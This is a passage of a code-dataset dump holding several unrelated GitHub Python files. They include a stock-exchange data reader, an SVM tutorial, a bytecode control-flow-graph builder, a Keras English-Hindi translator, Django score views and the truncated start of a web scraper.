    ', ' ')\n await message.channel.send(text)\n else:\n await message.channel.send('Uh oh, I didn\\'t quite catch that!')\n except asyncio.TimeoutError:\n await message.channel.send('Uh oh, I think my head is on backwards!')\n else:\n return\n else:\n return\n except:\n pass\n \n @commands.command()\n async def channel(self, ctx):\n \"\"\"To check the channel, which channel is selected for autoreply\"\"\"\n channel = ctx.channel\n\n servers = db.child(\"Servers\").get()\n name = servers.val()\n\n if str(channel.guild.id) in name[str(channel.guild.id)].keys():\n await ctx.send(f'<#{name[str(channel.guild.id)][str(channel.guild.id)]}> is binded with zeram autoreply')\n else:\n await ctx.send(\"No channel is binded! Do z.bind #channel_name for binding\")\n\n\ndef setup(bot):\n bot.add_cog(firebaseReply(bot))\n print(\"firebaseReply is loaded\")\n","repo_name":"Z3N00/Zeram-bot","sub_path":"cogs/firebaseReply.py","file_name":"firebaseReply.py","file_ext":"py","file_size_in_byte":4804,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73271215826","text":"import requests\nimport bs4\nimport lxml\nimport re\nimport pandas as pd\nfrom io import StringIO\nimport datetime\nfrom tse_index import settings\nfrom tse_index.tse_scrapper import TSEClient\nfrom tse_index._utils import (\n RemoteDataError,\n SymbolWarning,\n _init_session,\n _sanitize_dates,\n)\n\n\nclass reader:\n \"\"\"\n Tehran stock exchange daily data\n\n Returns DataFrame of historical data from the Tehran Stock Exchange\n open data service, over date range, start to end.\n\n Parameters\n ----------\n symbols : {int, str, List[str], List[int]}\n The symbols can be persian symbol code or instrument id.\n This argument can be obtained from tsetmc.com site.\n start : string, int, date, datetime, Timestamp\n Starting date. Parses many different kind of date\n default value is 5 years ago\n representations (e.g., 'JAN-01-2010', '1/1/10', 'Jan, 1, 1980')\n end : string, int, date, datetime, Timestamp\n Ending date\n retry_count : int, default 3\n Number of times to retry query request.\n pause : float, default 0.1\n Time, in seconds, of the pause between retries.\n session : Session, default None\n requests.sessions.Session instance to be used.\n adjust_price : bool, default False\n If True, adjusts all prices in hist_data ('Open', 'High', 'Low',\n 'Close') based on 'Adj Close' and 'Yesterday' price.\n interval: string, d, w, m for daily, weekly, monthly\n \"\"\"\n\n def __init__(\n self, retry_count=3, pause=0.1, session=None, chunksize=50,\n ):\n\n self.symbols = None\n\n # Ladder up the wait time between subsequent requests to improve\n # probability of a successful retry\n self.pause_multiplier = 2.5\n self.chunksize = max(1, chunksize)\n\n self.start = None\n self.end = None\n\n self.adjust_price = False\n self.interval = \"d\"\n\n if self.interval not in [\"d\", \"w\", \"m\"]:\n raise ValueError(\"Invalid interval: valid values are 'd', 'w' and 'm'.\")\n\n self.client = TSEClient\n self.lastPossibleDeven = None\n self.instrumentList = None\n self._history = {}\n self._groups = {}\n\n def update(self):\n deven = self.client.LastPossibleDeven()\n if self.lastPossibleDeven != deven:\n # update instrument history\n lastDate = deven.split(\";\")\n if len(lastDate) < 2:\n raise IOError(\"Last possible date request returned no data\")\n return True\n\n def search(self, search, market=None):\n if market not in [\"index\", \"normal\", None]:\n raise ValueError(\n \"Invalid instrument market: valid values are 'index' and 'normal'.\"\n )\n if market == \"index\":\n market = \"ID\"\n elif market == \"normal\":\n market = \"NO\"\n instruments = self.instruments()\n if instruments is None:\n return None\n search = re.sub(r\"\\s{2,}\", \" \", search.strip()).replace(\" \", \".*\")\n find = instruments[\n instruments.symbol.str.contains(search)\n & ((market == None) | (instruments.market == market))\n ]\n return find\n\n def indices(self):\n instruments = self.instruments()\n indices = instruments[lambda i: i.type == \"I\"]\n indices = indices.drop_duplicates(\"symbol\").sort_index().reset_index(drop=True)\n return indices\n\n def instruments(self, group=None):\n lastDate = (\n 0\n if self.instrumentList is None\n else max(self.instrumentList.get(\"date\", [0]))\n )\n today = int(datetime.date.today().strftime(\"%Y%m%d\"))\n if self.instrumentList is None or today > lastDate:\n # update instrument list\n instrumentList = self._replace_arabic(self.client.Instrument(lastDate))\n data = StringIO(instrumentList)\n instruments = pd.read_csv(\n data, lineterminator=\";\", sep=\",\", names=settings._TSE_INS_FIELD\n )\n # market = ID/NO Index Market/Normal Market\n # type = I/A Indice/Normal\n self.instrumentList = (\n pd.concat([instruments, self.instrumentList])\n .drop_duplicates(subset=[\"id\"])\n .sort_values([\"symbol\", \"date\"], ascending=[True, False])\n .reset_index(drop=True)\n )\n if group is None or self.instrumentList is None:\n ins = self.instrumentList\n else:\n groups = self.groups()\n group_code = None\n if group in groups.values():\n group_code = list(groups.keys())[list(groups.values()).index(group)]\n ins = self.instrumentList[self.instrumentList.group == group_code]\n return ins\n\n def history(\n self,\n symbols=None,\n start=None,\n end=None,\n retry_count=3,\n pause=0.1,\n adjust_price=False,\n chunksize=50,\n interval=\"d\",\n ):\n \"\"\"read one data from specified URL\"\"\"\n self.symbols = symbols\n\n # Ladder up the wait time between subsequent requests to improve\n # probability of a successful retry\n self.pause_multiplier = 2.5\n self.chunksize = max(1, chunksize)\n\n start, end = _sanitize_dates(start or settings.DEFAULT_START_DATE, end)\n self.start = start\n self.end = end\n\n self.adjust_price = adjust_price\n self.interval = interval\n\n if self.interval not in [\"d\", \"w\", \"m\"]:\n raise ValueError(\"Invalid interval: valid values are 'd', 'w' and 'm'.\")\n\n instruments = self.instruments()\n if instruments is None:\n return None\n\n if type(self.symbols) is str:\n symbols_list = [self.symbols]\n else:\n symbols_list = self.symbols\n\n today = int(datetime.date.today().strftime(\"%Y%m%d\"))\n if self.lastPossibleDeven is None or today > max(\n map(int, self.lastPossibleDeven.split(\";\"))\n ):\n self.lastPossibleDeven = self.client.LastPossibleDeven()\n lastDate = self.lastPossibleDeven.split(\";\")\n if len(lastDate) < 2:\n raise IOError(\"Last possible date request returned no data\")\n normalLastPossibleDeven = int(lastDate[0])\n indexLastPossibleDeven = int(lastDate[1])\n\n insCodes = []\n insSymbols = []\n insCodesList = []\n for symbol in symbols_list:\n deven = 0\n ins = instruments[instruments.symbol == symbol]\n if len(ins) == 0:\n continue\n if (\n symbol in self._history\n and self._history.get(symbol) is not None\n and len(self._history.get(symbol)) > 0\n ):\n deven = max(self._history.get(symbol).Date)\n if deven < indexLastPossibleDeven:\n # update history\n insCodes += list(ins[\"id\"])\n insSymbols += list(ins[\"symbol\"])\n insCodesList += list(\n ins.apply(\n lambda x: f\"{x.id},{deven},\"\n + (\"1\" if x.market == \"ID\" else \"0\"),\n axis=1,\n )\n )\n\n chunk = 0\n while chunk < len(insCodesList):\n resp = self.client.DecompressAndGetInsturmentClosingPrice(\n \";\".join(insCodesList[chunk : chunk + self.chunksize])\n )\n historyStr = resp.split(\"@\")\n for i, v in enumerate(historyStr):\n data = StringIO(v)\n ohlc = pd.read_csv(\n data, lineterminator=\";\", sep=\",\", names=settings._TSE_FIELD\n )\n ohlc = ohlc[ohlc[\"Count\"] != 0].reset_index(drop=True)[\n settings._TSE_FIELD_ORDER\n ]\n if insSymbols[chunk + i] in self._history:\n self._history[insSymbols[chunk + i]] = (\n self._history[insSymbols[chunk + i]]\n .append(ohlc, ignore_index=True, sort=False)\n .sort_values(\"Date\")\n .reset_index(drop=True)\n )\n else:\n self._history[insSymbols[chunk + i]] = ohlc\n chunk += self.chunksize\n\n if type(self.symbols) is str:\n return self._adjust({self.symbols: self._history.get(self.symbols, None)})[\n self.symbols\n ]\n else:\n return self._adjust({s: self._history.get(s, None) for s in symbols_list})\n\n def _adjust(self, idf):\n instruments = self.instruments()\n df = idf\n if type(idf) is pd.DataFrame:\n df = {0: idf}\n\n for i in df:\n if df[i] is None:\n continue\n ins = instruments[instruments.symbol == i]\n df[i] = df[i].copy()\n if self.adjust_price and not ins.empty and ins.iloc[0].market == \"NO\":\n df[i] = self._adjust_price(df[i])\n\n if \"Date\" in df[i]:\n df[i][\"Date\"] = pd.to_datetime(df[i][\"Date\"], format=\"%Y%m%d\")\n df[i] = df[i].set_index(\"Date\")\n df[i] = df[i][self.start : self.end]\n if self.interval == \"w\":\n ohlc = df[i][\"Close\"].resample(\"w-sat\").ohlc()\n ohlc[\"Volumne\"] = df[i][\"Volume\"].resample(\"w-sat\").sum()\n ohlc[\"Count\"] = df[i][\"Count\"].resample(\"w-sat\").sum()\n ohlc[\"Value\"] = df[i][\"Value\"].resample(\"w-sat\").sum()\n df[i] = ohlc\n elif self.interval == \"m\":\n ohlc = df[i][\"Close\"].resample(\"m\").ohlc()\n ohlc[\"Volume\"] = df[i][\"Volume\"].resample(\"m\").sum()\n ohlc[\"Count\"] = df[i][\"Count\"].resample(\"m\").sum()\n ohlc[\"Value\"] = df[i][\"Value\"].resample(\"m\").sum()\n df[i] = ohlc\n\n if type(idf) is pd.DataFrame:\n return df[0]\n else:\n return df\n\n def _adjust_price(self, hist_data, columns=None):\n \"\"\"\n Return modifed DataFrame with adjusted prices based on\n 'Adj Close' and 'Yesterday' price\n \"\"\"\n \"\"\"\n Adjust historical records of stock\n\n There is a capital increase/profit sharing,\n if today \"Final Close Price\" is not equal to next day\n \"Yesterday Final Close Price\" by using this ratio,\n performance adjustment of stocks is achieved\n\n Parameters\n ----------\n df : pd.DataFrame\n DataFrame with historical records.\n columns: list\n List of columns to be modifies\n\n Returns\n -------\n pd.DataFrame\n DataFrame with adjusted historical records.\n\n Notes\n -----\n DataFrame can not be empty or else it makes runtime error\n Type of DataFrame must be RangeIndex to make proper range of records\n that need to be modified\n\n diff: list\n list of indexs of the day after capital increase/profit sharing\n ratio_list: List\n List of ratios to adjust historical data of stock\n ratio: Float\n ratio = df.loc[i].adjClose / df.loc[i+1].yesterday\n\n Description\n -----------\n #Note: adjustment does not include Tenth and twentieth days\n df.index = range(0,101,1)\n #step is 1\n step = df.index.step\n diff = [10,20]\n ratio_list = [0.5, 0.8]\n df.loc[0:10-step, [open,...]] * ratio[0]\n df.loc[10:20-step, [open,...]] * ratio[1]\n \"\"\"\n if hist_data is None or hist_data.empty:\n return hist_data\n if not isinstance(hist_data.index, pd.core.indexes.range.RangeIndex):\n raise TypeError(\n \"Error in adjusting price; index type must be RangeIndex\"\n ) from None\n if columns is None:\n columns = [\"Open\", \"High\", \"Low\", \"Close\", \"AdjClose\", \"Yesterday\"]\n\n data = hist_data.copy()\n step = data.index.step\n diff = list(data.index[data.shift(1).AdjClose != data.Yesterday])\n if len(diff) > 0:\n diff.pop(0)\n ratio = 1\n ratio_list = []\n for i in diff[::-1]:\n ratio *= data.loc[i, \"Yesterday\"] / data.shift(1).loc[i, \"AdjClose\"]\n ratio_list.insert(0, ratio)\n for i, k in enumerate(diff):\n if i == 0:\n start = data.index.start\n else:\n start = diff[i - 1]\n end = diff[i] - step\n data.loc[start:end, columns] = round(\n data.loc[start:end, columns] * ratio_list[i]\n )\n\n return data\n\n def group_name(self, symbol):\n instruments = self.instruments()\n ins = instruments[instruments.symbol == symbol]\n group_name = None\n if len(ins) > 0:\n group_code = ins.iloc[0].get(\"group\")\n group_name = self.groups().get(group_code, None)\n return group_name\n\n def groups(self):\n if not self._groups:\n self._groups = self._fetch_groups()\n return self._groups\n\n def _fetch_groups(self):\n resp = requests.get(settings._TSE_URL_GROUP_LIST)\n groups = {}\n if resp.status_code == 200:\n group_list = self._replace_arabic(resp.text)\n bs = bs4.BeautifulSoup(group_list, 'lxml')\n rows = bs.findAll('tr')\n for r in rows:\n td = r.findAll('td')\n if r.get('id') is None:\n continue\n groups[td[0].text] = td[1].text\n return groups\n\n def _replace_arabic(self, string: str):\n return string.replace(\"ك\", \"ک\").replace(\"ي\", \"ی\")\n","repo_name":"alised/tse-index","sub_path":"tse_index/tse.py","file_name":"tse.py","file_ext":"py","file_size_in_byte":13910,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"48"} +{"seq_id":"497304233","text":"'''\nThis is same as '3_1_SVM.py', even the data is same. We are just chaning the kernel.\n\nIf you see the graphs plotted its not a linear line and its curved one and provides,\nmore accuracy using 'rbf'(Gaussian RBF kernel) kernel instead of 'linear' kernel.\n\nWith 'linear' kernel we achieved 88% accuracy whereas with 'rbf' kernel, we achieved\n93% accuracy. \n\n'''\n\n# Importing libraries\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\n# DataSet description\n# -------------------\n# Data comprises users information like gender, age, salary and whether they purchased a product advertised \n# in online advertisement or not.\n\n# Importing the dataset\ndataset = pd.read_csv('/Users/ycs/PycharmProjects/DataScieneTutorial/Data/3_3_Kernel_SVM.csv')\nx = dataset.iloc[:,[2,3]].values # we are ignoring first column which is userId\ny = dataset.iloc[:,4].values\n\n\n# Spliting the dataset into training and test set\n# -----------------------------------------------\nfrom sklearn.model_selection import train_test_split\nx_train, x_test, y_train, y_test = train_test_split(x, y, test_size = 0.25, random_state = 0)\n\n\n# Feature Scaling\n# ---------------\nfrom sklearn.preprocessing import StandardScaler\nstandardScalarObj = StandardScaler()\nx_train = standardScalarObj.fit_transform(x_train)\nx_test = standardScalarObj.fit_transform(x_test)\n\n\n# Fitting logistic regression to the training set\n# -----------------------------------------------\nfrom sklearn.svm import SVC\nclassifier = SVC(kernel = 'rbf', random_state = 0) # there are many kernels like 'linear','poly','rbf','sigmoid','precomputed' etc.\n # 'linear' kernel acts similar to 'Logistic Regression.\nclassifier.fit(x_train, y_train)\n\n\n# Predicting test set result\n# --------------------------\ny_predicted = classifier.predict(x_test)\n\n\n# Making Confusion Matrix\n# -----------------------\nfrom sklearn.metrics import confusion_matrix, accuracy_score\nconfusionMatrix = confusion_matrix(y_test, y_predicted) # remember 1st argument should be actual result and next should be prediction.\naccuracy = accuracy_score(y_test, y_predicted) # accuracy_score is a tool to calculate accuracy.\n\n\n# Visualizing the classification\n# ------------------------------\n# x-axis will represent 'age' and y-axis will represent 'salary' of the customer. each dot represents a customer.\n# ML algorithm will draw a line seperating 2 areas. One area means the customer in that zone will buy the product and other area\n# means those customers won't buy the product.\nfrom matplotlib.colors import ListedColormap\nX_set, y_set = x_train, y_train\nX1, X2 = np.meshgrid(np.arange(start = X_set[:, 0].min() - 1, stop = X_set[:, 0].max() + 1, step = 0.01),\n np.arange(start = X_set[:, 1].min() - 1, stop = X_set[:, 1].max() + 1, step = 0.01))\nplt.contourf(X1, X2, classifier.predict(np.array([X1.ravel(), X2.ravel()]).T).reshape(X1.shape),\n alpha = 0.75, cmap = ListedColormap(('red', 'green')))\nplt.xlim(X1.min(), X1.max())\nplt.ylim(X2.min(), X2.max())\nfor i, j in enumerate(np.unique(y_set)):\n plt.scatter(X_set[y_set == j, 0], X_set[y_set == j, 1],\n c = ListedColormap(('red', 'green'))(i), label = j)\nplt.title('Logistic Regression (Training set)')\nplt.xlabel('Age')\nplt.ylabel('Estimated Salary')\nplt.legend()\nplt.show()\n\n\n# Visualising the Test set results\n# --------------------------------\nfrom matplotlib.colors import ListedColormap\nX_set, y_set = x_test, y_test\nX1, X2 = np.meshgrid(np.arange(start = X_set[:, 0].min() - 1, stop = X_set[:, 0].max() + 1, step = 0.01),\n np.arange(start = X_set[:, 1].min() - 1, stop = X_set[:, 1].max() + 1, step = 0.01))\nplt.contourf(X1, X2, classifier.predict(np.array([X1.ravel(), X2.ravel()]).T).reshape(X1.shape),\n alpha = 0.75, cmap = ListedColormap(('red', 'green')))\nplt.xlim(X1.min(), X1.max())\nplt.ylim(X2.min(), X2.max())\nfor i, j in enumerate(np.unique(y_set)):\n plt.scatter(X_set[y_set == j, 0], X_set[y_set == j, 1],\n c = ListedColormap(('red', 'green'))(i), label = j)\nplt.title('Logistic Regression (Test set)')\nplt.xlabel('Age')\nplt.ylabel('Estimated Salary')\nplt.legend()\nplt.show()\n\n\n","repo_name":"yatish0492/DataScienceTutorial","sub_path":"3_3_Kernel_SVM.py","file_name":"3_3_Kernel_SVM.py","file_ext":"py","file_size_in_byte":4232,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"16703642244","text":"import config\nimport json\nimport datetime\nfrom bson import json_util\n\n\n\nclass VKinderFind:\n def __init__(self):\n self.groups = config.SEARCH_PARAMS['groups']\n self.books = config.SEARCH_PARAMS['books']\n self.music = config.SEARCH_PARAMS['music']\n self.interests = config.SEARCH_PARAMS['interests']\n\n self.total = self.groups + self.books + self.interests + self.music\n\n self.groups_percent = self.get_percent(self.groups)\n self.books_percent = self.get_percent(self.books)\n self.music_percent = self.get_percent(self.music)\n self.interests_percent = self.get_percent(self.interests)\n\n\n def get_percent(self, category):\n result = round(10 * (category / self.total))\n return result\n\n def myconverter(self, o):\n if isinstance(o, datetime.datetime):\n return o.__str__()\n\n def get_json(self, result):\n res = list()\n for i in result:\n d = {\n 'id': i['id'],\n 'first_name': i['first_name'],\n 'last_name': i['last_name'],\n 'photos':i['photos']\n }\n res.append(d)\n with open('result.json', 'w', encoding='utf8') as f:\n json.dump(res, f, ensure_ascii=False, indent=2, default=json_util.default)\n\n","repo_name":"pavkozlov/NETOLOGY-advanced-diplom","sub_path":"VKinder/VKinderFind.py","file_name":"VKinderFind.py","file_ext":"py","file_size_in_byte":1316,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"29703064633","text":"from collections import defaultdict\nfrom dis import Bytecode, stack_effect\nfrom opcode import hasjrel, hasjabs, opmap, opname\n\nABS = set(hasjabs)\nREL = set(hasjrel)\n\nGOTOS = {opmap['CONTINUE_LOOP'], opmap['JUMP_FORWARD']}\n\nclass CFG(object):\n def __init__(self, code):\n self.code = code # type: code\n self.bytecode = Bytecode(code)\n\n def build(self):\n # find basic blocks, which is headed by the first instruction or jump target\n blocks = [[]]\n targets = {}\n for instr in self.bytecode:\n if blocks[-1] and instr.is_jump_target:\n blocks.append([instr])\n continue\n blocks[-1].append(instr)\n if instr.opcode in ABS or instr.opcode in REL or instr.opcode == 83:\n blocks.append([])\n if not blocks[-1]:\n blocks.pop(-1)\n\n for i, block in enumerate(blocks):\n targets[block[0].offset] = i\n\n edges = defaultdict(set) # from -> to\n\n for i, block in enumerate(blocks):\n if block[-1].opcode == opmap['RETURN_VALUE']:\n continue\n if block[-1].opcode not in GOTOS:\n if i + 1 < len(blocks):\n edges[i].add(i + 1)\n target = block[-1].argval\n if target:\n if target in REL: target += i\n edges[i].add(targets[target])\n\n reverse_edges = defaultdict(set)\n for i, js in edges.items():\n for j in js:\n reverse_edges[j].add(i)\n\n # Find dead nodes\n found_all = False\n dead_nodes = set()\n while not found_all:\n found_all = True\n for i, block in enumerate(blocks):\n if not i: continue\n if i in dead_nodes: continue\n if i not in reverse_edges or reverse_edges[i].issubset(dead_nodes):\n dead_nodes.add(i)\n found_all = False\n for dead in dead_nodes:\n if dead in edges: edges.pop(dead)\n if dead in reverse_edges: reverse_edges.pop(dead)\n for i,e in edges.items():\n for dead in dead_nodes:\n if dead in e: e.remove(dead)\n for i,e in reverse_edges.items():\n for dead in dead_nodes:\n if dead in e: e.remove(dead)\n self.blocks = blocks\n self.edges = dict(edges)\n self.reverse_edges = dict(reverse_edges)\n self.dead_nodes = dead_nodes\n self.returns = {instr for instr in self.bytecode if instr.opname == 'RETURN_VALUE'}\n return self\n\n def dot(self):\n output = ''\n for i, block in enumerate(self.blocks):\n output += ' %s [label=\"%s\"];\\n' % (\n i,\n '\\n'.join(\n str(instr.offset) + ' ' +\n instr.opname + ('(%s)' % instr.argval if instr.arg is not None else '') + ' : ' +\n str(stack_effect(instr.opcode, instr.arg)) for instr in block))\n for i in self.edges:\n for j in self.edges[i]:\n output += ' %s -> %s;\\n' % (i, j)\n\n return 'digraph cfg {\\n%s}' % output","repo_name":"leegao/MiniEradicate","sub_path":"minieradicate/bytecode/cfg.py","file_name":"cfg.py","file_ext":"py","file_size_in_byte":3178,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"24249856207","text":"from keras.models import Model\nfrom keras.layers import Input, LSTM, Dense, Embedding,Dropout\nfrom keras.preprocessing.text import Tokenizer\nfrom keras.preprocessing.sequence import pad_sequences\nimport numpy as np\nfrom keras.optimizers import Adam\n\nencoder_inputs1=[]\ndecoder_inputs=[]\ndecoder_outputs=[]\nt=0\nwith open('G:/present/NLP/hin-eng/hin.txt',encoding='utf8') as f:\n for line in f:\n t+=1\n if t>10000:\n break\n \n eng,hin=line.rstrip().split('\\t')\n encoder_inputs1.append(eng)\n a=' '+hin\n b=hin+' '\n decoder_inputs.append(a)\n decoder_outputs.append(b)\nall_lines=decoder_outputs+decoder_inputs\nprint(\"num samples:\", len(encoder_inputs1))\n\ntokenizer1=Tokenizer(num_words=20000)\ntokenizer1.fit_on_texts(encoder_inputs1)\nencoder_inputs=tokenizer1.texts_to_sequences(encoder_inputs1)\nencoder_length=max(len(s) for s in encoder_inputs)\nencoder_word2idx=tokenizer1.word_index\nencoder_vocab_size=len(encoder_word2idx)+1\nprint('Found %s unique input tokens.' % len(encoder_word2idx))\nencoder_data=pad_sequences(encoder_inputs,maxlen=encoder_length)\nprint(\"encoder_inputs.shape:\", encoder_data.shape)\nprint(\"encoder_inputs[0]:\", encoder_data[0])\ntokenizer2=Tokenizer(num_words=20000,filters='')\ntokenizer2.fit_on_texts(all_lines)\ndecoder_inputs=tokenizer2.texts_to_sequences(decoder_inputs)\ndecoder_outputs=tokenizer2.texts_to_sequences(decoder_outputs)\ndecoder1_length=max(len(s) for s in decoder_inputs)\ndecoder_word2idx=tokenizer2.word_index\ndecoder_vocab_size=len(decoder_word2idx)+1\nprint('Found %s unique output tokens.' % len(decoder_word2idx))\n\ndecoder_input_data=pad_sequences(decoder_inputs,maxlen=decoder1_length,padding='post')\nprint(\"decoder_inputs[0]:\", decoder_input_data[0])\nprint(\"decoder_inputs.shape:\", decoder_input_data.shape)\ndecoder_output_data=pad_sequences(decoder_outputs,maxlen=decoder1_length,padding='post')\n\ndecoder_targets=np.zeros((len(decoder_outputs),decoder1_length,decoder_vocab_size),dtype=\"float32\")\n\nfor i,output in enumerate(decoder_output_data):\n for j,out in enumerate(output):\n decoder_targets[i,j,out]=1\n#configurations\n\nepochs=150\nbatch_size=64\nvalidation_split=0.2\nlatent_dim=256\nembedding_dim=100\nMAX_NUM_WORDS = 20000\n\n#loading pre trained glove vectors\n\nembedding_matrix=np.random.randn(encoder_vocab_size,embedding_dim)\n\n#wordvec={}\n#\n#with open('G:/present/NLP/glove.6B.100d.txt',encoding=\"utf8\") as f:\n# for line in f:\n# \n# line=line.split()\n# word=line[0]\n# vec=np.asarray(line[1:],dtype=\"float32\")\n# wordvec[word]=vec\n#print('Found %s word vectors.' % len(wordvec))\n#\n#for word,i in encoder_word2idx.items():\n# if i < MAX_NUM_WORDS: \n# vec=wordvec.get(word)\n# if vec is not None:\n# embedding_matrix[i]=vec\n\n\n# main model\nembedding_layer=Embedding(encoder_vocab_size,embedding_dim,weights=[embedding_matrix],input_length=encoder_length,trainable=True)\n\nencoder_placeholder=Input(shape=(encoder_length,))\nx=embedding_layer(encoder_placeholder)\nlstm0=LSTM(100,return_sequences=True)\nx=lstm0(x)\n#lstm_1=LSTM(200,return_sequences=True)\n#x=lstm_1(x)\n#lstm_2=LSTM(150,return_sequences=True)\n#x=lstm_2(x)\n#lstm_3=LSTM(120,return_sequences=True)\n#x=lstm_3(x)\n#lstm_4=LSTM(90,return_sequences=True)\n#x=lstm_4(x)\n#lstm_5=LSTM(120,return_sequences=True)\n#x=lstm_5(x)\n#lstm_6=LSTM(180,return_sequences=True)\n#x=lstm_6(x)\nlstm1=LSTM(latent_dim,return_state=True)\nencoder_output,encoder_h,encoder_c=lstm1(x)\nencoder_states=[encoder_h,encoder_c]\ndecoder_placeholder=Input(shape=(decoder1_length,))\ndecoder_embedding=Embedding(decoder_vocab_size,latent_dim)\nx=decoder_embedding(decoder_placeholder)\ndecoder_lstm1=LSTM(latent_dim,return_sequences=True)\nx=decoder_lstm1(x,initial_state=encoder_states)\n#decoder_lstm2=LSTM(180,return_sequences=True)\n#x=decoder_lstm2(x)\n#decoder_lstm3=LSTM(120,return_sequences=True)\n#x=decoder_lstm3(x)\n#decoder_lstm4=LSTM(90,return_sequences=True)\n#x=decoder_lstm4(x)\n#decoder_lstm5=LSTM(120,return_sequences=True)\n#x=decoder_lstm5(x)\n#decoder_lstm6=LSTM(180,return_sequences=True)\n#x=decoder_lstm6(x)\nlstm=LSTM(256,return_sequences=True,return_state=True)\ndecoder_output,_,_=lstm(x)\ndense2=Dense(decoder_vocab_size,activation=\"softmax\")\noutput=dense2(decoder_output)\n\nmodel=Model([encoder_placeholder,decoder_placeholder],output)\nmodel.compile(\n optimizer=Adam(lr=0.001),\n loss='categorical_crossentropy',\n metrics=['accuracy']\n)\nr=model.fit([encoder_data,decoder_input_data],decoder_targets,validation_split=0.2,batch_size=32,epochs=epochs)\n\n# sampling model\n\nencoder_model=Model(encoder_placeholder,[encoder_h,encoder_c])\n\nsample_decoder_placeholder=Input(shape=(1,))\nsample_hidden_state=Input(shape=(latent_dim,))\nsample_cell_state=Input(shape=(latent_dim,))\nx=decoder_embedding(sample_decoder_placeholder)\nx=decoder_lstm1(x,initial_state=[sample_hidden_state,sample_cell_state])\n#x=decoder_lstm2(x)\n#x=decoder_lstm3(x)\n#x=decoder_lstm4(x)\n#x=decoder_lstm5(x)\n#x=decoder_lstm6(x)\nsample_decoder_output,hidden,cell=lstm(x)\noutput=dense2(sample_decoder_output)\n\nsample_decoder_model=Model([sample_decoder_placeholder,sample_hidden_state,sample_cell_state],[output,hidden,cell])\n\ndecoder_idx2word={v:k for k,v in decoder_word2idx.items()}\n\n\n#sampling\n\nwhile(True):\n sentence=input('\\n\\nenter the sentence to translate\\n\\n')\n tokenizer=Tokenizer(num_words=20000)\n tokenizer.fit_on_texts(encoder_inputs1)\n sequence=tokenizer.texts_to_sequences([sentence])\n data=pad_sequences(sequence,maxlen=encoder_length)\n \n hidden,cell=encoder_model.predict(data)\n target=np.array([[decoder_word2idx['']]])\n k=''\n for i in range(decoder1_length):\n probs,hidden,cell=sample_decoder_model.predict([target,hidden,cell])\n probs=probs[0,0]\n \n idx=np.argmax(probs)\n word=decoder_idx2word.get(idx)\n print(\"word {}\".format(word))\n if word=='':\n break\n k+=' '+word\n target[0,0]=idx\n print('\\n',k)\n o=input('would you like to translate further more sentences [y/n]\\n')\n if o=='n':\n break\n \n \n\n\n\n\n\n\n","repo_name":"naveenkumarg651/Sequence2Sequence","sub_path":"seq2seq_hindi.py","file_name":"seq2seq_hindi.py","file_ext":"py","file_size_in_byte":6151,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"48"} +{"seq_id":"40873383636","text":"#!/usr/bin/env python\n# -*- coding: UTF-8 -*-\n\nfrom distutils.core import setup\nimport py2exe\n\nclass Target(object):\n def __init__(self,**kw):\n self.__dict__.update(kw)\n\nservice = Target(modules=['winservice'],\n cmdline_style='pywin32')\n\nsetup(name='NimbusService',\n version='1.0',\n author='veezor',\n service=[service],\n zipfile=None,\n options={ 'py2exe' : \n { 'bundle_files' : 1,\n }\n})\n","repo_name":"veezor/Nimbus","sub_path":"apps/windows/client/install/src/service/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":468,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"6101413365","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\nimport json\nimport random\n\nfrom models import Player\n\n\nclass JsonResponse(HttpResponse):\n \"\"\"\n JSON response\n \"\"\"\n def __init__(self, content, status=None, content_type='application/json'):\n super(JsonResponse, self).__init__(\n content=json.dumps(content),\n status=status,\n content_type=content_type,\n )\n\n\ndef get_players(request):\n '''\n Returns JSON of all player data\n '''\n players = Player.objects.all()\n player_list = []\n for player in players:\n player_dict = {\n 'id': player.id,\n 'name': player.name,\n 'score': player.score,\n 'img': player.avatar.url\n }\n player_list.append(player_dict)\n return JsonResponse(player_list)\n\n\ndef mod_scores(request):\n players = Player.objects.all()\n for player in players:\n player.score = player.score + random.choice([-1, 1])\n if player.score < 0:\n player.score = 1\n elif player.score > 10:\n player.score = 9\n player.save()\n return HttpResponse(status=200)\n\n\ndef get_scores(request):\n '''\n Returns JSON of only player ids and scores\n For testing, it randomly adjusts players' scores\n '''\n players = Player.objects.all()\n for player in players:\n player.score = player.score + random.choice([-1, 1])\n if player.score < 0:\n player.score = 1\n elif player.score > 10:\n player.score = 9\n player.save()\n return HttpResponse(json.dumps([{'id': player.id,'score': player.score} for player in players]), content_type=\"application/json\")","repo_name":"birkholz/masterboard","sub_path":"mb_example/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1715,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"13051821918","text":"from lxml import html\nimport requests\nfrom Movie import movie\nfrom datetime import date\nfrom dateutil.parser import parse\nimport time\n\n# http://www.societysm.com/updates07/updates.html\n\n\ndef parseSocietySmPage(url):\n page = requests.get(url)\n tree = html.fromstring(page.content)\n\n # This will create a list of Videos on that page:\n movies = []\n # '//*[@id=\"updates\"]/tbody/tr/td/table[*]/tbody/tr/td/table[4]/tbody/tr/td[1]/a'\n # allLinks = tree.xpath('//a')#/table[*]/tbody/tr/td/table[4]/tbody/tr/td[1]/a')\n \n allDateAndModels = tree.xpath('//*[@class=\"updatename\"][@align=\"left\"]')\n # print(allDateAndModels)\n for eachDateAndModel in allDateAndModels:\n dateAndModelString = eachDateAndModel.text_content()\n dateUnparsed, actorUnparsed = dateAndModelString.split(\" - \")\n print(dateUnparsed)\n \n actors = []\n if \",\" in actorUnparsed:\n actorsSplit = actorUnparsed.split(\",\")\n for actor in actorsSplit:\n actors.append(actor.strip())\n else:\n actors.append(actorUnparsed.strip())\n print(actors)\n\n # up 4 parents\n FourUp = 